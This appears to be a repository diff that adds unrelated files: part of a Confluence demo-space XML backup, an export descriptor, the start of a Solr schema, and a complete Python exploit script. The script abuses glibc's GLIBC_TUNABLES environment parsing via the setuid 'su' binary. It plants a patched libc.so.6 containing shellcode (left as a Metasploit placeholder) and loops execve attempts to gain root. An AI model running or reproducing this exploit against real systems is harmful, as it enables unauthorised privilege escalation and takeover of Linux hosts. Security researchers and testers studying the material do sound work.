<property name="body"><![CDATA[<ac:layout><ac:layout-section ac:type="single"><ac:layout-cell><p style="margin-left: 60.0px;"> </p><p><span style="color: rgb(51,51,51);">The Confluence editor helps you create content, fast. </span><span style="color: rgb(51,51,51);">You can embed images, Office documents, and even videos. <br />That's just the tip of the iceberg when it comes to creating useful content for your team. <br /> </span></p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="two_right_sidebar"><ac:layout-cell><ol><li style="text-align: left;"><strong>Edit</strong> the page.<br /><br /></li><li style="text-align: left;">Click in the right-hand column to position your cursor.<br /><br /></li><li style="text-align: left;">Click <strong style="text-align: left;">Files</strong> on the editor toolbar. It looks like this:<br /><br /><ac:image ac:width="301"><ri:attachment ri:filename="step04-01.png" /></ac:image><br /> </li><li style="text-align: left;"><span>The Files dialog shows you the files attached to this page. <br />Select the image named <strong>Confluence Origami Necktie</strong>.<br /> <br /></span></li><li style="text-align: left;">Click <strong>Insert</strong>.<br /><br /></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">You will return to this page, and see the 'Image Properties Panel'. If you don't see it, click the image.<br /> <br /></span></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">Resize the image by clicking on the square buttons or entering a width.<br /><br /><ac:image ac:width="540"><ri:attachment ri:filename="step04-02.png" /></ac:image><br /> <br /></span><span style="color: rgb(51,51,51);"><br /></span></li><li style="text-align: left;"><span>Click <strong>Properties </strong>and then select the <strong>Curl Shadow</strong> option from the Image Effects dialog. <br /> <br /></span></li><li style="text-align: left;"><span style="color: rgb(51,51,51);">Your image should look like this when completed:<br /><ac:image ac:queryparams="effects=border-simple,shadow-kn" ac:thumbnail="true" ac:width="300"><ri:attachment ri:filename="Confluence-Origami-Necktie.jpeg" /></ac:image><br /> </span></li><li style="text-align: left;"><span style="line-height: 1.42857;">Click </span><strong style="line-height: 1.42857;">Update </strong><span style="line-height: 1.42857;">to publish your changes to the page.</span><br /><br /></li><li style="text-align: left;">View the image on the page, or click to preview the file.</li></ol><p style="text-align: left;">The Files button is not just for images, you can insert and preview a wide range of files, including Microsoft Office documents and PDFs.</p></ac:layout-cell><ac:layout-cell><p> </p></ac:layout-cell></ac:layout-section><ac:layout-section ac:type="single"><ac:layout-cell><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></span></h1><p><span style="color: rgb(51,51,51);"><br /></span></p></ac:layout-cell></ac:layout-section></ac:layout>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163851</id>
|
||||
<property name="body"><![CDATA[]]></property>
|
||||
<property name="content" class="SpaceDescription" package="com.atlassian.confluence.spaces"><id name="id">98357</id>
|
||||
</property>
|
||||
<property name="bodyType">0</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163841</id>
|
||||
<property name="body"><![CDATA[<p style="margin-left: 60.0px;"> </p><p>Pages live in spaces. This page is in the 'Demonstration Space'. <br /> </p><p>Let's play with some content. Don't worry, you won't break anything:</p><ol><li>Click <strong>Edit</strong> at the top of this page. Now you're in the editor.<br /><br /></li><li>Type some words anywhere on the page.<br /><br /></li><li>Have some fun:<span style="line-height: 0.0px;"> </span></li></ol><ul><li style="list-style-type: none;"><ul><li>Change the color of the text: Select the text, then choose a color from the color option in the editor tool bar.<br /><br /></li><li>Add a link: Select some text, then choose the <strong>Link</strong> button on the toolbar.<br />Click <strong>Web Link</strong> and enter an <strong>Address</strong>, such as <code>http://www.atlassian.com</code>. <br />Click <strong>Insert</strong> to insert the link.<br /><br /></li><li>Find a file or picture on your computer, and drag it anywhere on this page.<br /><br /></li><li>Try some of the other options on the editor toolbar.</li></ul></li></ul><p>When<em> y</em>ou're ready, click <strong>Update</strong> to publish your changes then<strong> </strong>and go to the next step or back to the space home.</p><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><br /></span></h1><h1 style="text-align: center;"><span style="color: rgb(51,51,51);"><ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg" /></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg" /></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg" /></ac:image></ac:link-body></ac:link></span></h1><p> </p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163842</id>
|
||||
<property name="body"><![CDATA[<p style="text-align: center;"> </p><h2><ac:image><ri:attachment ri:filename="welcome.png" /></ac:image><br /> <span style="color: rgb(128,128,128);">With Confluence it is easy to create, edit and share content with your team. <br /> Choose a topic below to start learning how.</span></h2><h2><span style="color: rgb(0,0,128);"><br /></span></h2><ol><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="What is Confluence? (step 1 of 9)" /><ac:link-body>What is Confluence?<br /><br /></ac:link-body></ac:link></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:plain-text-link-body><![CDATA[A quick look at the editor]] ></ac:plain-text-link-body></ac:link><br /> </span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /><ac:plain-text-link-body><![CDATA[Let's edit this page]] ></ac:plain-text-link-body></ac:link><br /><br /></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Prettify the page with an image (step 4 of 9)" /><ac:link-body>Prettify the page with an image<br /><br /></ac:link-body></ac:link></span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Get serious with a table (step 5 of 9)" /><ac:link-body>Get serious with a table<br /></ac:link-body></ac:link></span><span style="color: rgb(0,0,128);"> </span></li><li><span style="color: rgb(0,0,128);"><ac:link><ri:page ri:content-title="Lay out your page (step 6 of 9)" /><ac:plain-text-link-body><![CDATA[Lay out your page]] ></ac:plain-text-link-body></ac:link> <br /><br /></span></li><li><ac:link><ri:page ri:content-title="Learn the wonders of autoconvert (step 7 of 9)" /><ac:plain-text-link-body><![CDATA[Learn the wonders of autoconvert]] ></ac:plain-text-link-body></ac:link> <br /><br /></li><li><ac:link><ri:page ri:content-title="Tell people what you think in a comment (step 8 of 9)" /><ac:plain-text-link-body><![CDATA[Tell people what you think in a comment]] ></ac:plain-text-link-body></ac:link> <br /><br /></li><li><ac:link><ri:page ri:content-title="Share your page with a team member (step 9 of 9)" /><ac:plain-text-link-body><![CDATA[Share your page with a team member]] ></ac:plain-text-link-body></ac:link></li></ol><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p><span style="color: rgb(128,128,128);"><br /></span></p><p style="text-align: right;"> </p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="BodyContent" package="com.atlassian.confluence.core">
|
||||
<id name="id">163843</id>
|
||||
<property name="body"><![CDATA[<p style="margin-left: 60.0px;"> </p><p><strong>Confluence</strong> is where you can create, organize and discuss work with your team. <br />Use Confluence for meeting notes, project plans, requirements, sprint planning, how-to guides, or anything you like.</p><p>Click the <strong>Create</strong> button on the header to see some of the types of pages you can create.</p><p>A Confluence page can contain text, images, diagrams, activity streams, videos, and more. <br />Confluence puts your content online in a central place where your team can search, edit and discuss it at any time. <span><span style="color: rgb(0,0,0);"> </span></span></p><p><span><span style="color: rgb(0,0,0);">So let's try it!<span style="color: rgb(0,0,255);"> <ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:plain-text-link-body><![CDATA[Click here to learn how to edit a page]] ></ac:plain-text-link-body></ac:link></span> </span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"> </span></span></p><h1 style="text-align: center;"><ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="prev.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="Welcome to Confluence" /><ac:link-body><ac:image><ri:attachment ri:filename="home.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link> <ac:link><ri:page ri:content-title="A quick look at the editor (step 2 of 9)" /><ac:link-body><ac:image><ri:attachment ri:filename="next.jpg"><ri:page ri:content-title="Let's edit this page (step 3 of 9)" /></ri:attachment></ac:image></ac:link-body></ac:link></h1><p><span style="color: rgb(51,51,51);"><br /></span></p><p><span style="color: rgb(51,51,51);"><br /></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p><p><span style="color: rgb(153,153,153);"><span style="color: rgb(0,0,0);"><br /></span></span></p>]]></property>
|
||||
<property name="content" class="Page" package="com.atlassian.confluence.pages"><id name="id">98320</id>
|
||||
</property>
|
||||
<property name="bodyType">2</property>
|
||||
</object>
|
||||
<object class="Space" package="com.atlassian.confluence.spaces">
|
||||
<id name="id">131073</id>
|
||||
<property name="name"><![CDATA[Demonstration Space]]></property>
|
||||
<property name="key"><![CDATA[ds]]></property>
|
||||
<property name="lowerKey"><![CDATA[ds]]></property>
|
||||
<property name="description" class="SpaceDescription" package="com.atlassian.confluence.spaces"><id name="id">98357</id>
|
||||
</property>
|
||||
<property name="homePage" class="Page" package="com.atlassian.confluence.pages"><id name="id">98319</id>
|
||||
</property>
|
||||
<collection name="permissions" class="java.util.Collection"><element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458761</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458762</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458763</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458764</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458765</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458766</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458767</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458768</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458769</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458770</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458771</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458772</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458773</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458774</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458775</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458776</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458777</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458778</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458779</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458780</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458781</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458782</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458783</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458784</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458785</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458786</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458787</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458788</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458789</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458790</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458791</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458792</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458793</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458794</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458795</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458796</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458797</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458798</id>
|
||||
</element>
|
||||
<element class="SpacePermission" package="com.atlassian.confluence.security"><id name="id">458799</id>
|
||||
</element>
|
||||
</collection>
|
||||
<property name="creationDate">2020-04-14 11:55:11.912</property>
|
||||
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
|
||||
<property name="spaceType">global</property>
|
||||
<property name="spaceStatus" enum-class="SpaceStatus" package="com.atlassian.confluence.spaces">CURRENT</property>
|
||||
</object>
|
||||
</hibernate-generic>
|
||||
@@ -0,0 +1,14 @@
|
||||
#Thu Nov 09 06:05:19 UTC 2023
|
||||
ao.data.version.min.com.atlassian.mywork.mywork-confluence-host-plugin=1.1.30
|
||||
ao.data.version.com.atlassian.mywork.mywork-confluence-host-plugin=8.3.8
|
||||
createdByVersionNumber=7.19.12
|
||||
supportEntitlementNumber=SEN-L1699509489567
|
||||
source=server
|
||||
buildNumber=8506
|
||||
ao.data.list=com.atlassian.mywork.mywork-confluence-host-plugin, com.atlassian.confluence.plugins.confluence-space-ia
|
||||
ao.data.version.min.com.atlassian.confluence.plugins.confluence-space-ia=5.0
|
||||
defaultUsersGroup=confluence-users
|
||||
ao.data.version.com.atlassian.confluence.plugins.confluence-space-ia=17.19.9
|
||||
exportType=all
|
||||
createdByBuildNumber=8804
|
||||
backupAttachments=true
|
||||
@@ -0,0 +1,312 @@
|
||||
import binascii
|
||||
import os
|
||||
import resource
|
||||
import time
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from ctypes import *
|
||||
from ctypes.util import find_library
|
||||
from shutil import which
|
||||
|
||||
TUNABLES_MISCONFIG = b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging="
|
||||
STRING_TABLE_INDEX = "shstrndx"
|
||||
NUMBER_OF_ENTRIES = "shnum"
|
||||
ENTRY_SIZE = "shentsize"
|
||||
ENTRY_KEYS = "name type flags addr offset size link info addralign entsize"
|
||||
HEADER_ENTRY_FORMAT_64_BIT = "<LLQQQQLLQQ"
|
||||
HEADER_ENTRY_FORMAT_32_BIT = "<LLLLLLLLLL"
|
||||
GNU_BUILD_ID = ".note.gnu.build-id"
|
||||
LIBC_START_MAIN = "__libc_start_main"
|
||||
DYNAMIC_SYMBOL = ".dynsym"
|
||||
DYNAMIC_STRING = ".dynstr"
|
||||
SYMBOL_STRUCTURE_KEYS_64_BIT = "name info other shndx value size"
|
||||
SYMBOL_STRUCTURE_FORMAT_64_BIT = "<LBBHQQ"
|
||||
SYMBOL_STRUCTURE_KEYS_32_BIT = "name value size info other shndx"
|
||||
SYMBOL_STRUCTURE_FORMAT_32_BIT = "<LLLBBH"
|
||||
ELF_HEADER_KEYS = f"type machine version entry phoff shoff flags ehsize phtentsize phnum {ENTRY_SIZE} {NUMBER_OF_ENTRIES} {STRING_TABLE_INDEX}"
|
||||
ELF_ENTRY_FORMAT_64_BIT = "<HHLQQQLHHHHHH"
|
||||
ELF_ENTRY_FORMAT_32_BIT = "<HHLLLLLHHHHHH"
|
||||
|
||||
unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
|
||||
|
||||
TARGETS = {
|
||||
"i686": {
|
||||
"shellcode": unhex(
|
||||
"METASPLOIT_SHELL_CODE"
|
||||
),
|
||||
"exitcode": unhex("6a665b6a0158cd80"),
|
||||
"stack_top": 0xC0000000,
|
||||
"stack_aslr_bits": 23,
|
||||
},
|
||||
"x86_64": {
|
||||
"shellcode": unhex(
|
||||
"METASPLOIT_SHELL_CODE"
|
||||
),
|
||||
"exitcode": unhex("6a665f6a3c580f05"),
|
||||
"stack_top": 0x800000000000,
|
||||
"stack_aslr_bits": 34,
|
||||
},
|
||||
"aarch64": {
|
||||
"shellcode": unhex(
|
||||
"METASPLOIT_SHELL_CODE"
|
||||
),
|
||||
"exitcode": unhex("c00c80d2a80b80d2010000d4"),
|
||||
"stack_top": 0x1000000000000,
|
||||
"stack_aslr_bits": 30,
|
||||
},
|
||||
}
|
||||
|
||||
# Magic offsets for build IDs can be found for versions of glibc by disabling ASLR and using the original PoC: https://haxx.in/files/gnu-acme.py
|
||||
BUILD_IDS = METASPLOIT_BUILD_IDS
|
||||
|
||||
libc = cdll.LoadLibrary("libc.so.6")
|
||||
libc.execve.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p)
|
||||
resource.setrlimit(
|
||||
resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY)
|
||||
)
|
||||
|
||||
|
||||
def find_path_before_null_character(blob_data, start_offset):
|
||||
current_position = start_offset
|
||||
while current_position > 0:
|
||||
current_byte = blob_data[current_position]
|
||||
next_byte = blob_data[current_position + 1] if current_position + 1 < len(blob_data) else None
|
||||
|
||||
if current_byte != 0 and current_byte != 0x2F and next_byte == 0:
|
||||
path_byte = bytes([current_byte])
|
||||
offset_from_start = current_position - start_offset
|
||||
return {"path": path_byte, "offset": offset_from_start}
|
||||
|
||||
current_position -= 1
|
||||
return None
|
||||
|
||||
|
||||
def parse_structured_data(structure_format, structure_keys, structure_data):
|
||||
unpacked_data = struct.unpack(structure_format, structure_data)
|
||||
parsed_structure = dict(zip(structure_keys.split(" "), unpacked_data))
|
||||
return parsed_structure
|
||||
|
||||
|
||||
def fetch_c_library_path():
|
||||
class LoadedLibrary(Structure):
|
||||
_fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)]
|
||||
|
||||
libc_library = CDLL(find_library("c"))
|
||||
dl_library = CDLL(find_library("dl"))
|
||||
|
||||
dl_info_function = dl_library.dlinfo
|
||||
dl_info_function.argtypes = c_void_p, c_int, c_void_p
|
||||
dl_info_function.restype = c_int
|
||||
|
||||
link_map_ptr = c_void_p()
|
||||
dl_info_function(libc_library._handle, 2, byref(link_map_ptr))
|
||||
|
||||
return cast(link_map_ptr, POINTER(LoadedLibrary)).contents.l_name
|
||||
|
||||
|
||||
def execute_process(executable_path, arguments_list, environment_variables):
|
||||
libc.execve(executable_path, arguments_list, environment_variables)
|
||||
|
||||
|
||||
def execute_and_monitor(executable, arguments, environment):
|
||||
argument_pointers = (c_char_p * len(arguments))(*arguments)
|
||||
environment_pointers = (c_char_p * len(environment))(*environment)
|
||||
|
||||
child_pid = os.fork()
|
||||
if not child_pid:
|
||||
execute_process(executable, argument_pointers, environment_pointers)
|
||||
exit(0)
|
||||
|
||||
start_time = time.time()
|
||||
while True:
|
||||
try:
|
||||
pid, status = os.waitpid(child_pid, os.WNOHANG)
|
||||
if pid == child_pid:
|
||||
if os.WIFEXITED(status):
|
||||
return os.WEXITSTATUS(status) & 0xFF7F
|
||||
else:
|
||||
return 0
|
||||
except:
|
||||
pass
|
||||
current_time = time.time()
|
||||
if current_time - start_time >= 1.5:
|
||||
os.waitpid(child_pid, 0)
|
||||
return "Success"
|
||||
|
||||
|
||||
class DelayedElfParser:
|
||||
def __init__(self, filename):
|
||||
self.data = open(filename, "rb").read()
|
||||
self.architecture = 64 if self.data[4] == 2 else 32
|
||||
|
||||
elf_header_size = 0x30 if self.architecture == 64 else 0x24
|
||||
|
||||
self.header = parse_structured_data(
|
||||
ELF_ENTRY_FORMAT_64_BIT if self.architecture == 64 else ELF_ENTRY_FORMAT_32_BIT,
|
||||
ELF_HEADER_KEYS,
|
||||
self.data[0x10: 0x10 + elf_header_size],
|
||||
)
|
||||
section_header_table_index = self.extract_section_header(self.header[STRING_TABLE_INDEX])
|
||||
self.section_header_names = self.data[section_header_table_index["offset"] : section_header_table_index["offset"] + section_header_table_index["size"]]
|
||||
|
||||
def extract_section_header(self, index):
|
||||
header_offset = self.header["shoff"] + (index * self.header[ENTRY_SIZE])
|
||||
entry_format = HEADER_ENTRY_FORMAT_64_BIT if self.architecture == 64 else HEADER_ENTRY_FORMAT_32_BIT
|
||||
|
||||
return parse_structured_data(entry_format, ENTRY_KEYS, self.data[header_offset : header_offset + self.header[ENTRY_SIZE]])
|
||||
|
||||
def extract_section_header_by_name(self, section_name):
|
||||
encoded_name = section_name.encode()
|
||||
for section_index in range(self.header[NUMBER_OF_ENTRIES]):
|
||||
section_header = self.extract_section_header(section_index)
|
||||
section_name_data = self.section_header_names[section_header["name"]:].split(b"\x00")[0]
|
||||
if section_name_data == encoded_name:
|
||||
return section_header
|
||||
return None
|
||||
|
||||
def extract_section_by_name(self, section_name):
|
||||
section_header = self.extract_section_header_by_name(section_name)
|
||||
if section_header:
|
||||
start_offset = section_header["offset"]
|
||||
end_offset = start_offset + section_header["size"]
|
||||
return self.data[start_offset:end_offset]
|
||||
return None
|
||||
|
||||
def extract_symbol_value(self, symbol_name):
|
||||
encoded_name = symbol_name.encode()
|
||||
dynamic_symbol = self.extract_section_by_name(DYNAMIC_SYMBOL)
|
||||
dynamic_string = self.extract_section_by_name(DYNAMIC_STRING)
|
||||
symbol_entry_size = 24 if self.architecture == 64 else 16
|
||||
|
||||
for entry_index in range(len(dynamic_symbol) // symbol_entry_size):
|
||||
entry_start = entry_index * symbol_entry_size
|
||||
|
||||
if self.architecture == 64:
|
||||
symbol_entry = parse_structured_data(
|
||||
SYMBOL_STRUCTURE_FORMAT_64_BIT,
|
||||
SYMBOL_STRUCTURE_KEYS_64_BIT,
|
||||
dynamic_symbol[entry_start: entry_start + symbol_entry_size],
|
||||
)
|
||||
else:
|
||||
symbol_entry = parse_structured_data(
|
||||
SYMBOL_STRUCTURE_FORMAT_32_BIT,
|
||||
SYMBOL_STRUCTURE_KEYS_32_BIT,
|
||||
dynamic_symbol[entry_start: entry_start + symbol_entry_size],
|
||||
)
|
||||
|
||||
entry_name = dynamic_string[symbol_entry["name"]:].split(b"\x00")[0]
|
||||
if entry_name == encoded_name:
|
||||
return symbol_entry["value"]
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def create_environment(adjustment, address, offset, bits=64):
|
||||
if bits == 64:
|
||||
environment = [
|
||||
TUNABLES_MISCONFIG + b"P" * adjustment,
|
||||
TUNABLES_MISCONFIG + b"X" * 8,
|
||||
TUNABLES_MISCONFIG + b"X" * 7,
|
||||
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
|
||||
]
|
||||
|
||||
padding = 172
|
||||
fill = 47
|
||||
else:
|
||||
environment = [
|
||||
TUNABLES_MISCONFIG + b"P" * adjustment,
|
||||
TUNABLES_MISCONFIG + b"X" * 7,
|
||||
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
|
||||
]
|
||||
|
||||
padding = 87
|
||||
fill = 47 * 2
|
||||
|
||||
for j in range(padding):
|
||||
environment.append(b"")
|
||||
|
||||
if bits == 64:
|
||||
environment.append(struct.pack("<Q", address))
|
||||
environment.append(b"")
|
||||
else:
|
||||
environment.append(struct.pack("<L", address))
|
||||
|
||||
for _ in range(384):
|
||||
environment.append(b"")
|
||||
|
||||
for _ in range(fill):
|
||||
if bits == 64:
|
||||
environment.append(
|
||||
struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
|
||||
)
|
||||
else:
|
||||
environment.append(
|
||||
struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7
|
||||
)
|
||||
|
||||
environment.append(None)
|
||||
return environment
|
||||
|
||||
|
||||
def error_and_exit(error_msg):
|
||||
print("Error: %s" % error_msg)
|
||||
exit(-1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
architecture = os.uname().machine
|
||||
|
||||
if architecture not in TARGETS.keys():
|
||||
error_and_exit("This target's architecture '%s' is not supported by this exploit" % architecture)
|
||||
|
||||
c_library_path = fetch_c_library_path()
|
||||
su_binary_path = which("su")
|
||||
|
||||
memory_alignment = ((0x100 - (len(su_binary_path) + 1 + 8)) & 7) + 8
|
||||
su_binary_elf = DelayedElfParser(su_binary_path)
|
||||
dynamic_linker_path = su_binary_elf.extract_section_by_name(".interp").strip(b"\x00").decode('utf-8')
|
||||
dynamic_linker_elf = DelayedElfParser(dynamic_linker_path)
|
||||
dynamic_linker_build_id = binascii.hexlify(
|
||||
dynamic_linker_elf.extract_section_by_name(GNU_BUILD_ID)[-20:]).decode()
|
||||
|
||||
if dynamic_linker_build_id not in BUILD_IDS.keys():
|
||||
error_and_exit("The build ID found is not exploitable")
|
||||
|
||||
libc_elf = DelayedElfParser(c_library_path)
|
||||
libc_start_main = libc_elf.extract_symbol_value(LIBC_START_MAIN)
|
||||
|
||||
if libc_start_main == None:
|
||||
error_and_exit("The symbol in the libc ELF '__libc_start_main' could not be resolved.")
|
||||
|
||||
su_binary_offset = su_binary_elf.extract_section_header_by_name(".dynstr")["offset"]
|
||||
potential_path = find_path_before_null_character(su_binary_elf.data, su_binary_offset)
|
||||
|
||||
if potential_path is None:
|
||||
error_and_exit("The potential path in the su_binary could not be found.")
|
||||
|
||||
if not os.path.exists(potential_path["path"]):
|
||||
os.mkdir(potential_path["path"])
|
||||
|
||||
with open(potential_path["path"] + b"/libc.so.6", "wb") as file_handle:
|
||||
file_handle.write(libc_elf.data[0:libc_start_main])
|
||||
file_handle.write(TARGETS[architecture]["shellcode"])
|
||||
file_handle.write(libc_elf.data[libc_start_main + len(TARGETS[architecture]["shellcode"]):])
|
||||
|
||||
stack_address = TARGETS[architecture]["stack_top"] - (1 << (TARGETS[architecture]["stack_aslr_bits"]))
|
||||
|
||||
stack_address += memory_alignment
|
||||
|
||||
for i in range(6 if su_binary_elf.architecture == 64 else 4):
|
||||
if (stack_address >> (i * 8)) & 0xFF == 0:
|
||||
stack_address |= 0x10 << (i * 8)
|
||||
|
||||
environment = create_environment(BUILD_IDS[dynamic_linker_build_id], stack_address, potential_path["offset"],
|
||||
su_binary_elf.architecture)
|
||||
count = 1
|
||||
argv = [b"su", b"--help", None]
|
||||
while True:
|
||||
if execute_and_monitor(su_binary_path.encode(), argv, environment) == "Success":
|
||||
exit(0)
|
||||
count += 1
|
||||
@@ -0,0 +1,244 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<schema name="default-config" version="1.6">
|
||||
|
||||
<field name="id" type="string" indexed="true" stored="true" required="true" multiValued="false" />
|
||||
<field name="_version_" type="plong" indexed="false" stored="false"/>
|
||||
<field name="_root_" type="string" indexed="true" stored="false" docValues="false" />
|
||||
